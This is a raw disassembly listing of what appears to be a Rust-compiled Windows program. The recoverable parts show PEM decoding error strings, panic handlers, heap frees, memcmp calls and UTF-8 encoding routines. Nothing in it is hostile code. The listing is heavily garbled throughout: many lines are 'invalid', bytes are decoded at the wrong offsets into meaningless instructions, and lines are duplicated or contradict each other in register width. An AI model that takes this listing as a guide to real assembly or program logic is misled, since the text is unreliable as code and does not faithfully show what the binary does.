lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.1400417b0
call qword [rax + 0x58c48348]
call qword [rax + 0x58c48348]
pop rdi
pop rsi
ret
dec esp
int3
int3
invalid
add ecx, eax
jmp rcx
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
and al, 0x30
lea rax, str.PEM_Base64_error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
jmp 0x14004b956
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PEM_character_encoding_errorPEM_error_in_encapsulated_textPEM_headers_disallowed_by_RFC7468PEM_type_label_invalidPEM_length_invalidPEM_preamble_contains_invalid_data__NUL_byte_PEM_error_in_pre_encapsulation_boundaryPEM_error_in_post_encapsulation_boundaryunexpected_PEM_type_label:_expecting__
mov r8d, 0x1c
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1ff4]
mov r8d, 0x1e
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e2012]
mov r8d, 0x21
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e2033]
mov r8d, 0x16
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e2049]
mov r8d, 0x12
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e205b]
mov r8d, 0x2d
add rsp, 0x68
jmp rax
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042240
nop
add rsp, 0x68
ret
invalid
clc
add al, 0xf
test dl, dl
add byte [rax], al
add byte [rcx - 0x7d], al
clc
add eax, 0x16a850f
add byte [rax], al
cmp r8d, 5
clc
add eax, 0x160850f
jne case.0x140026d73.410
jne case.0x140026d73.410
add byte [rbx + rcx*4 + 0x41], cl
sbb byte [rbx + rdi + 0x42], cl
sbb byte [rdi], cl
test dword [rax + 1], edx
add byte [rax], al
mov r8, qword [rcx + 0x18]
cmp r8, qword [rdx + 0x18]
jne 0x14004df26
test r8, r8
je 0x14004df2e
add qword [r8], r8
invalid
add qword [r8], r8
add dword [rax], eax
add byte [rax - 0x75], cl
or byte [r8 - 0x75], cl
mov rdx, qword [rdx + 8]
mov r9d, dword [rcx + 4]
mov r10d, dword [rdx + 4]
mov rcx, qword [rcx + 8]
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
mov r9d, dword [rcx + 4]
mov r10d, dword [rdx + 4]
cmp r9d, 0x110000
add byte [rdi], cl
setne bl
cmp r10d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
xchg ebp, eax
ret
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rcx + 0xf], al
xchg esp, eax
ret
sete r11b
mov al, 1
cmp bl, r11b
je 0x14004df22
mov al, 1
mov r11d, 1
mov ebx, 1
add dword [rcx - 0x45], eax
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add byte [rdx - 0x75], al
je 0x14004ddf5
mov esi, dword [rdx + r11*8 - 8]
clc
mov edi, dword [rcx + r11*8 - 8]
test bl, 1
je 0x14004de2f
cmp r9d, r10d
jne 0x14004df22
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], bh
cmp edi, esi
jne 0x14004df22
test ebx, ebp
add byte [rax], al
invalid
test dword [rdi], 0xeb85
test ebx, ebp
add byte [rax], al
add byte [rbp + 0x39], cl
ret
cmp r11, r8
cmp ebx, eax
setb al
je 0x14004df22
mov r9d, dword [rcx + r11*8 + 4]
mov r10d, dword [rdx + r11*8 + 4]
invalid
fld dword [rsi + rax*2]
mov edx, dword [rdx + rbx*8 + 4]
invalid
fiadd dword [rcx + rcx*2]
add al, 0x49
inc r11
inc ebx
cmp r9d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
xchg ebp, eax
ret
setne bl
cmp r10d, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
cli
add byte [rax], al
adc dword [rax], eax
sete sil
cmp bl, sil
invalid
cmp bl, dh
jne case.0x140075d15.482
jne case.0x140075d15.482
jmp 0x14004df22
test eax, eax
jne case.0x140026d73.410
add byte [rbx + 0x423b0441], cl
add al, 0xf
xchg esp, eax
shr cl, 0xa2
movabs byte [0xf04f88341000000], al
mov eax, dword [rcx + 4]
cmp eax, dword [rdx + 4]
sete al
jmp case.0x140026d73.410
invalid
add byte [rax], al
invalid
movabs byte [0xf04f88341000000], al
cmp r8d, 4
jne case.0x140026d73.410
invalid
cwde
add byte [rax], al
invalid
test dword [rax + 0x4c000000], ebx
mov eax, dword [rcx + 0x18]
invalid
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x41], cl
sbb byte [rbx + rdi + 0x42], cl
sbb byte [rdi], cl
test dword [rax + 0x4d000000], ecx
test eax, eax
invalid
mov r8, qword [rcx + 0x18]
cmp r8, qword [rdx + 0x18]
jne 0x14004df26
test r8, r8
ror byte [rdi], 0x84
xchg dword [rax], eax
add byte [rax], al
invalid
je 0x14004df2e
test byte [rdi + 0x48000000], al
add byte [rax - 0x75], cl
or byte [r8 - 0x75], cl
push rdx
or byte [rbx + rcx*4 + 0x49], al
add al, 0x44
mov edx, dword [rdx + 4]
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov rdx, qword [rdx + 8]
mov r9d, dword [rcx + 4]
mov r10d, dword [rdx + 4]
cmp r9d, 0x110000
stc
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
setne bl
adc dword [rax], eax
setne bl
cmp r10d, 0x110000
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
cli
add byte [rax], al
adc dword [rax], eax
sete r11b
mov al, 1
cmp bl, r11b
je 0x14004df22
mov al, 1
mov r11d, 1
mov ebx, 1
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x75], al
je 0x14004deb9
mov esi, dword [rdx + r11*8 - 8]
clc
mov edi, dword [rcx + r11*8 - 8]
test bl, 1
je 0x14004deef
cmp r9d, r10d
jne 0x14004df22
cmp edi, esi
jne 0x14004df22
invalid
invalid
cmp r11, r8
setb al
je 0x14004df22
add byte [rdi], cl
xchg ebp, eax
ret
cli
add byte [rax], al
adc dword [rax], eax
sete sil
cmp bl, sil
jne 0x14004dedb
xor al, 1
jmp case.0x140026d73.410
xor eax, eax
and al, 1
pop rbx
pop rdi
pop rsi
ret
xor eax, eax
xor al, 1
jmp case.0x140026d73.410
sal byte [rcx + rax], 0xeb
hlt
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, rcx
mov qword [rsp + 0x20], 4
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x28
ror byte [rdi], 0x11
and al, 0x28
test r8, r8
je 0x14004e041
mov rsi, r8
mov rbx, rdx
mov eax, 4
xor edx, edx
movabs r15, 0x11000000000000
lea r14, [rsp + 0x20]
xor r12d, r12d
jmp 0x14004dfb3
or r13, r15
mov rax, qword [rsp + 0x20]
mov qword [rax + rdx*8], r13
inc rdx
mov qword [rsp + 0x30], rdx
inc r12
mov r13, r12
cmp r13, rsi
jae 0x14004e041
lea r13, [r12 + 3]
cmp r13, rsi
ja 0x14004e020
lea rcx, [r12 + 1]
cmp rcx, rsi
jae case.0x14001ba11.505
cmp dword [rbx + r12*4 + 4], 0x2d
jne 0x14004e020
lea rcx, [r12 + 2]
cmp rcx, rsi
jae 0x14004e07d
mov ebp, dword [rbx + r12*4]
mov r12d, dword [rbx + r12*4 + 8]
cmp rdx, qword [rsp + 0x28]
jne 0x14004e003
mov r13d, dword [rbx + r12*4]
cmp rdx, qword [rsp + 0x28]
jne 0x14004df90
mov rcx, r14
call fcn.14004e090
mov rdx, qword [rsp + 0x30]
jmp 0x14004df90
mov rax, qword [rsp + 0x30]
mov qword [rdi + 0x10], rax
mov rax, qword [rsp + 0x20]
mov qword [rdi], rax
mov rax, qword [rsp + 0x28]
mov qword [rdi + 8], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1400e0910]
mov rdx, rsi
call fcn.1400a9fa0
ud2
lea r8, [0x1400e0928]
or dword [rax], eax
mov rdx, rsi
call fcn.1400a9fa0
adc al, 0xbf
invalid
invalid
bnd call fcn.1400a9fa0
adc al, 0xbf
add eax, 0xcc0b0f00
int3
ud2
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [r8 - 0x73], cl
or al, 0
lea rcx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
mov edi, 4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf], cl
invalid
invalid
cmovae rdi, rdx
cli
xor edx, edx
mov rcx, rdi
shr rcx, 0x3c
sete dl
lea r8, [rdi*8]
shl rdx, 2
test rax, rax
je 0x14004e0f7
sal byte [rsp + rbx + 0x48], 0x8b
invalid
mov rcx, qword [rsi]
mov ecx, dword [rsi]
shl rax, 3
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
jmp 0x14004e100
or dword [rax - 0x39], ecx
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.1400a58a0
cmp qword [rsp + 0x40], 0
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
je 0x14004e137
movabs rax, 0x8000000000000001
cmp rcx, rax
invalid
je 0x14004e13e
add byte [rax], al
add byte [rax + 0x74c13948], al
invalid
invalid
sal dword [rbx + rdx + 0x48], 0x85
adc ecx, dword [rax - 0x7b]
leave
jne 0x14004e145
call fcn.1400402a0
ud2
invalid
and edi, edi
dec dword [rdi]
or ecx, dword [rax - 0x77]
invalid
mov qword [rsi], rcx
mov dword [rsi], ecx
mov qword [rsi + 8], rdi
jle case.0x140023efa.472
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
call fcn.1400a9e00
ud2
mov esp, 0xb0f0005
int3
int3
int3
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, rdx
xlatb
xlatb
mov rsi, rcx
mov rbx, qword [rdx]
mov r14, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
movzx ecx, byte [rdx + 0x18]
mov dh, 0x4a
sbb dh, al
sbb byte [rdx], al
mov dh, 0x4a
sbb dh, al
sbb byte [rdx], al
cmp cl, 2
je 0x14004e1e8
mov r8, qword [rdi + 0x30]
test r8, r8
je 0x14004e1d1
cmp r8, 0xffffffffffffffff
je 0x14004e493
add al, byte [rax]
invalid
dec dword [rdi]
test dl, dh
add al, byte [rax]
add byte [rax - 0x73], cl
cmp byte [r8 - 0x75], r9b
push rdi
and byte [rdi + rcx - 0x49], al
push r8
movzx r10d, byte [rdi + 0x52]
shl r10d, 0x10
adc byte [rbp + 9], al
retf 0x8944
push rsp
and al, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
call fcn.14004e4b0
adc byte [rbp + 9], al
retf 0x8944
test r14, r14
test esi, esi
je 0x14004e1e8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rdi + 0x30]
test rdx, rdx
ror byte [rdi], cl
invalid
invalid
add al, byte [rax]
invalid
ror byte [rdi], cl
test byte [0x18804e1f8], bl
mov eax, dword [rdi + 0x48]
mov rax, qword [rdi + 0x48]
test rax, rax
je case.0x140028256.279
lea rcx, [rdi + 0x38]
mov qword [rsp + 0x38], rcx
nop dword [rax + rax]
dec rax
mov qword [rdi + 0x48], rax
mov rcx, qword [rdi + 0x38]
lea r8, [rax + rax*2]
shl r8, 4
shl r8, 4
add al, 0x4a
mov rax, qword [rcx + r8]
mov eax, dword [rcx + rax]
mov r15, qword [rcx + r8 + 8]
mov rbx, qword [rcx + r8 + 0x10]
mov r12, qword [rcx + r8 + 0x18]
mov r14, qword [rcx + r8 + 0x20]
je 0x14004e23b
invalid
je 0x14004e23b
and byte [rsi - 0x75], cl
insb byte [rdi], dx
add dword [rax], ebp
invalid
mov r13, qword [rcx + r8 + 0x28]
sub byte [rax - 0x7b], cl
ror byte [rdi], 0x85
iretd
test rax, rax
jne 0x14004e418
cmp r13, 0xffffffffffffffff
je 0x14004e390
cmp r13, rdx
jae 0x14004e457
add byte [rax], al
add byte [rax], al
mov r8, qword [rdi + 0x20]
imul r9, r13, 0x38
cmp byte [r8 + r9 + 0x30], 0
je 0x14004e310
add byte [rax], al
add byte [rax], al
lea rax, [r13 + 1]
cmp rdx, rax
cmova rax, rdx
lea rcx, [rax - 1]
dec rdx
add r8, r9
add r8, 0x68
nop dword [rax]
invalid
add byte [rcx + rdi - 0x16], cl
cmp rdx, r13
je 0x14004e2a7
mov rbp, r13
inc r13
cmp byte [r8], 0
lea r8, [r8 + 0x38]
jne 0x14004e290
jmp 0x14004e2ad
mov rbp, rcx
mov r13, rax
mov rcx, r15
mov rdx, r12
call fcn.1400500c0
test al, al
je 0x14004e2fe
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x30]
movzx eax, word [rdi + 0x50]
movzx ecx, byte [rdi + 0x52]
shl ecx, 0x10
or ecx, eax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rcx, qword [rsp + 0x38]
mov r9, rbp
call fcn.14004e4b0
mov rdx, qword [rdi + 0x30]
lea rax, [rdx - 1]
cmp rbp, rax
jne 0x14004e310
jmp 0x14004e433
mov rdx, qword [rdi + 0x30]
lea rax, [rdx - 1]
cmp rbp, rax
je 0x14004e3ad
nop
cmp r13, rdx
jae 0x14004e468
imul rbp, r13, 0x38
add rbp, qword [rdi + 0x20]
mov rcx, r15
mov rdx, r12
call fcn.140086170
test rax, rax
je 0x14004e3ad
mov r8, rdx
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.140043490
cmp qword [rsp + 0x40], 0
jne 0x14004e3ad
invalid
mov r8, qword fs:[rsp + 0x48]
mov r8, qword [rsp + 0x48]
movzx eax, word [rdi + 0x50]
movzx ecx, byte [rdi + 0x52]
shl ecx, 0x10
or ecx, eax
mov r9, qword [rsp + 0x50]
add r9, r8
ror dword [rcx + 0x4828244c], 0xc7
and al, 0x20
add byte [rax], al
add byte [rax], al
ror dword [rcx + 0x4828244c], 0xc7
and al, 0x20
add byte [rax], al
add byte [rax], al
mov rcx, rbp
mov dl, 1
call fcn.140050180
test al, al
jne 0x14004e3ad
mov r8, qword [rdi + 0x30]
lea rax, [r8 - 1]
cmp r13, rax
jne 0x14004e3dc
nop dword [rax + rax]
invalid
cmp byte [rdi + 0x53], 0
je 0x14004e433
cdq
add byte [rax], al
add byte [rax], al
cdq
add byte [rax], al
add byte [rax], al
mov rcx, r15
add byte [rax], al
mov rcx, r15
stc
mov rdx, r12
call fcn.1400500c0
test al, al
jne 0x14004e433
test rbx, rbx
je 0x14004e3c4
mov rcx, qword [0x1400f91f8]
or al, byte [rax]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rdi + 0x30]
test rdx, rdx
je case.0x140028256.279
mov rax, qword [rdi + 0x48]
test rax, rax
jne 0x14004e210
invalid
invalid
invalid
invalid
invalid
jmp case.0x140028256.279
mov rdx, qword [rdi + 0x20]
inc r13
movzx eax, word [rdi + 0x50]
push rax
push rax
movzx ecx, byte [rdi + 0x52]
mov dh, 0x4f
push rdx
shl ecx, 0x10
or ecx, eax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r12
sub byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
sub byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
mov rcx, qword [rsp + 0x38]
mov r9, r13
call fcn.14004e4b0
test rbx, rbx
jne case.0x14002739f.303
cmp byte [rbp - 0x77], cl
jmp 0x1400589f2
jmp 0x14004e3c4
mov byte [rsi + 0x20], 3
jmp case.0x140028256.280
cmp rax, 2
je 0x14004e479
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r14
mov qword [rsi + 0x20], r13
jmp case.0x140028256.280
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r14
mov byte [rsi + 0x20], 2
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1400e06e0]
mov rcx, r13
call fcn.1400a9fa0
ud2
lea r8, [0x1400e06f8]
mov rcx, r13
call fcn.1400a9fa0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e06c8]
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
call fcn.1400aa0a0
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x921de
lea r8, [0x1400e06b0]
mov edx, 0x37
add byte [rax], al
add byte [rax], al
call fcn.1400aa0a0
ud2
clc
invalid
sub dword [rsi], 0x1a
add byte [rax], al
mov rsi, rcx
mov qword [rsp + 0xb8], rax
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + 0x7702484], cl
and al, 0x70
invalid
add byte [rax], al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + 0x7702484], cl
and al, 0x70
invalid
add byte [rax], al
mov eax, 0x8b000000
test byte [rax + rsi*2], ah
and al, 0x70
and al, 0x70
invalid
mov dword [rsp + 0x64], eax
mov rdi, qword [rsp + 0x768]
mov qword [rsp + 0x88], r9
mov dword [rsp + 0x88], ecx
mov dword [rsp + 0x88], ecx
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x760]
mov rcx, rbx
mov rdx, rdi
call fcn.1400500c0
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x1f0]
pushfq
and al, 0x60
invalid
lea rcx, [rsp + 0x1f0]
lock add dword [rax], eax
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
clc
mov rdx, rbx
mov r8, rdi
call fcn.14007e4f0
movzx eax, byte [rsp + 0x1f0]
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rax], fs
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xaa
adc al, 0xa
add byte [rdi + 0x63], cl
adc al, 0x81
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rax], fs
and al, 0
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xaa
adc al, 0xa
add byte [rdi + 0x63], cl
adc al, 0x81
add r10, r9
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x68], rbx
mov r11, qword [rsp + 0x88]
jmp r10
add rcx, 4
jmp 0x14004e5a8
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14004e5a8
mov ecx, 6
jmp 0x14004e5a8
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x14004e5a8
mov ecx, 2
mov rdi, qword [rsp + 0x50]
sub rdi, rcx
jb 0x14004ffe1
add rcx, qword [rsp + 0x68]
mov rbx, rcx
imul rcx, r11, 0x38
mov qword [rsp + 0xc0], rcx
test rdi, rdi
je 0x14004e5e2
movzx ecx, byte [rbx]
cmp cl, 0x2f
sete dl
cmp cl, 0x5c
sete cl
or cl, dl
jmp 0x14004e5e4
xor ecx, ecx
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0xc0]
lea r9, [rdx + r8]
mov rdx, qword [rsp + 0x210]
mov qword [rsp + 0x1df], rdx
movups xmm0, xmmword [rsp + 0x1f1]
movups xmm1, xmmword [rsp + 0x201]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
cmp qword [rsp + 0x50], 1
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x98], r9
jne 0x14004e652
cmp al, 2
jbe 0x14004e652
je 0x14004e8d3
cmp al, 6
je 0x14004e686
mov rdx, qword [rsp + 0x1df]
add byte [rax], al
mov qword [rsp + 0x20f], rdx
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x1f0], xmm0
mov rdx, qword [rsp + 0x20f]
mov qword [rsp + 0x1af], rdx
movaps xmm0, xmmword [rsp + 0x1f0]
lock add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
lock add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
mov rdx, qword [rsp + 0x68]
movabs al, byte [0x902484290f000001]
add dword [rax], eax
add byte [rax - 0x75], cl
push rsp
and al, 0x68
mov qword [rsp + 0x468], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x470], rdx
mov byte [rsp + 0x478], al
movups xmmword [rsp + 0x479], xmm0
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x489], xmm0
mov rax, qword [rsp + 0x1af]
mov qword [rsp + 0x498], rax
mov word [rsp + 0x4a0], 0x200
mov byte [rsp + 0x4a2], cl
lea rax, [0x1400e9143]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
mov byte [rsp + 0x200], 6
mov word [rsp + 0x228], 0x200
mov byte [rsp + 0x22a], 0
xor r15d, r15d
nop dword [rax + rax]
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x468]
call fcn.1400849e0
movzx ebx, byte [rsp + 0xe8]
add byte [rax], al
add byte [rbx - 0x7bf0f505], al
invalid
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbx - 0x7bf0f505], al
xor eax, 0xf000001
mov dh, 0xbc
and al, 0xe9
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
lock add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xf8
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 8
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
add byte [rax], al
call fcn.1400849e0
movzx eax, byte [rsp + 0x158]
cmp al, 0xa
movzx edi, byte [rsp + 0xe9]
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x100]
mov r12, qword [rsp + 0x108]
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
add byte [rax], al
add byte [rax], al
call fcn.1400849e0
movzx eax, byte [rsp + 0x158]
cmp al, 0xa
je case.default.0x14004e84a
lea ecx, [rbx - 6]
movzx ecx, cl
lea r8, [rcx + 1]
cmp cl, 4
cmovae r8, r15
lea r9d, [rax - 6]
movzx ecx, r9b
lea rdx, [rcx + 1]
cmp cl, 4
cmovae rdx, r15
cmp r8, rdx
jne case.default.0x14004e84a
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x168]
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rcx - 0x7d], al
clc
add al, 0x74
invalid
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rcx - 0x7d], al
clc
add al, 0x74
test r8, r8
test r8, r8
jne case.0x14004ad88.64
cmp r9b, 4
jb case.0x14004ad88.64
cmp bl, al
jne case.default.0x14004e84a
movzx eax, byte [rsp + 0x159]
mov r10, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
and al, 0x78
add dword [rax], eax
add byte [rcx - 0x77], al
fmul dword [rbp + rcx*4 + 0xd]
invalid
adc dword [rdx], ecx
add byte [rdi + 0x63], cl
add al, 0x81
add r8, r9
jmp r8
and al, 0x78
add dword [rax], eax
add byte [rcx - 0x77], al
fmul dword [rbp + rcx*4 + 0xd]
invalid
invalid
cmp rbp, rcx
jne case.default.0x14004e84a
mov rcx, rsi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je case.0x14004ad88.64
jmp case.default.0x14004e84a
cmp rbp, rcx
jne case.default.0x14004e84a
mov rcx, rsi
mov r8, rbp
mov rsi, r10
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14004e84a
cmp esp, esi
jne case.default.0x14004e84a
mov rdx, rsi
mov rcx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je case.0x14004ad88.64
jmp case.default.0x14004e84a
cmp dil, al
je case.0x14004ad88.64
xor edx, edx
jmp 0x14004e8cb
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
call fcn.1400849e0
cmp byte [rsp + 0x158], 0xa
sete dl
mov r9, qword [rsp + 0x98]
mov byte [rsp + 0x3f], dl
mov r12, qword [r9 + 0x18]
mov r13, qword [r9 + 0x28]
mov qword [rsp + 0x1f0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f8], xmm0
test r13, r13
je 0x14004eac0
shl r13, 5
add r13, r12
mov r15d, 1
xor ebx, ebx
lea rdi, [rsp + 0x1f0]
lea r14, [rsp + 0x468]
jmp 0x14004e97c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x468], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x469], sil
mov esi, 2
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jb 0x14004ea9d
lea rcx, [r15 + rbx]
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rsp + 0x200], rbx
add r12, 0x20
cmp r12, r13
je 0x14004eb3e
cmp dword [r12], 0
jne 0x14004eb1f
mov esi, dword [r12 + 4]
cmp esi, 0x80
jae 0x14004e9e0
cmp rbx, qword [rsp + 0x1f8]
jne 0x14004e9b1
mov rcx, rdi
mov rdx, rbx
call fcn.140051430
mov rbx, qword [rsp + 0x200]
mov r15, qword [rsp + 0x1f0]
mov byte [r15 + rbx], sil
inc rbx
mov qword [rsp + 0x200], rbx
add r12, 0x20
cmp r12, r13
jne 0x14004e97c
jmp 0x14004eb3e
mov dword [rsp + 0x468], 0
mov eax, esi
cmp esi, 0x800
jb 0x14004e920
cmp esi, 0x10000
jae 0x14004ea48
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x468], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x469], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x46a], sil
mov esi, 3
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jae 0x14004e955
jmp 0x14004ea9d
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x468], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x469], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x46a], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x46b], sil
mov esi, 4
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jae 0x14004e955
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400ab0a0
mov r15, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x200]
jmp 0x14004e955
mov edi, 1
xor r14d, r14d
xor ebx, ebx
xor esi, esi
movzx ebp, byte [rsp + 0x3f]
test bpl, bpl
je 0x14004ecd4
mov qword [rsp + 0x468], rdi
mov qword [rsp + 0x470], r14
mov qword [rsp + 0x478], rbx
mov byte [rsp + 0x480], 1
movzx eax, byte [rsp + 0x48]
and al, sil
cmp al, 1
jne 0x14004ed03
mov rsi, qword [rsp + 0x468]
mov rbx, qword [rsp + 0x478]
jmp 0x14004edc6
cmp qword [rsp + 0x1f8], 0
je 0x14004eb78
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004eb78
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
